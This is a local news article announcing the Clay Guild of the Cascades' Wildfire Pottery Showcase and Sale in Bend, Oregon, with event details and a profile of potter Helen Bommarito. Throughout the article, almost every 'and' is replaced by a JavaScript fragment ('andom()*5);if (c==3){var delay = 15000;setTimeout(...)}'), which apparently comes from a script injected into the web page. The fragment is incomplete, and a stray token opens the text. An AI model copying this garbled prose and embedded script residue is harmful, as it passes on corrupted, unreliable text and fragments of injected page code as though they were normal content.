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Wildfire Pottery Show Set for November

By RENEE PATRICK Cascade A&E Editor

helenbteasetThe Clay Guild of the Cascades will be sponsoring the Wildfire Pottery Showcase andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and Sale featuring over 20 of Oregon’s finest ceramic artists. The event, in its seventh year, will take place on the weekend of November 5-6 at the Highlandom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and Elementary School.
Wildfire is the Clay Guild’s biggest event of the year andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and will feature continuous ceramic demonstrations in the event hall andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and a children’s clay area for kids to play andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and experiment with clay. The Guild will sponsor six $25 gift raffles with three drawings each day of the festival.
The members of the Clay Guild choose a non-profit each year to benefit from Wildfire. The Alyce Hatch Center has been chosen as the recipient of the sales from a selection of mugs donated by individual potters andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and students. The Alyce Hatch Center is the home of the Deschutes County Early Intervention Program, the Early Childhood Special Education Program andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and the Special Needs Resource Center. The programs provide services to families andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and children who are at risk or have developmental delays.
The Clay Guild of the Cascades sponsors Wildfire to promote their passion for clay andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and to further clay education in the community. Created in 2004, the Clay Guild formed with a collective desire to provide a network for local potters to share ideas, cost of materials andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and education opportunities. They participate in charitable projects in the community andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and work to promote the appreciation of handom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}andmade pottery andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and ceramics.
Helen Bommarito, a founding member of both the Clay Guild andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and the Wildfire Show, shared that the Clay Guild was a wonderful resource as she was new to Bend shortly before the group formed, “I find that I love being a part of a local group that gets together andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and shares ideas. When you work independently it’s kind of hard to connect with others, you don’t have daily impact with your peers, so we get together on a regular basis.”
Bommarito worked as a potter for nine years before concentrating on raising a family. Her reintroduction to ceramics 12 years ago was greatly aided by the community found in the Clay Guild. Bommarito was the 2010 winner in the functional pottery division of the Wildfire Show andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and currently teaches at Art Station for Arts Central.
The Wildfire Showcase has evolved over the years andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and the group looks to the Ceramic Showcase sponsored by the Oregon Potter’s Association in Portlandom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and as inspiration. The Ceramic Showcase is the country’s largest clay show in the country andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and completely member run, an important aspect the Clay Guild has adopted. Every member is assigned a job andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and Bommarito says the system has worked very well for them.
A selection of the Best of the Show are chosen by the artists themselves andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and will be available for viewing in the gallery in the center of the show. Most pieces in the gallery will be available for sale.
www.clayguildofthecascades.com/events.htm, Saturday Nov 5, 10am-5pm, Sunday No. 6, 10am-4pm, Free admission andom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and parking, Highlandom()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}and Elementary School (Old Kenwood School), 701 NW Newport Ave., Bend. Contact: Eleanor Murphy, Wildfire Chair, emurphey@bendcable.com or David Warren, Clay Guild of the Cascades President, david@clayarchitexture.com.

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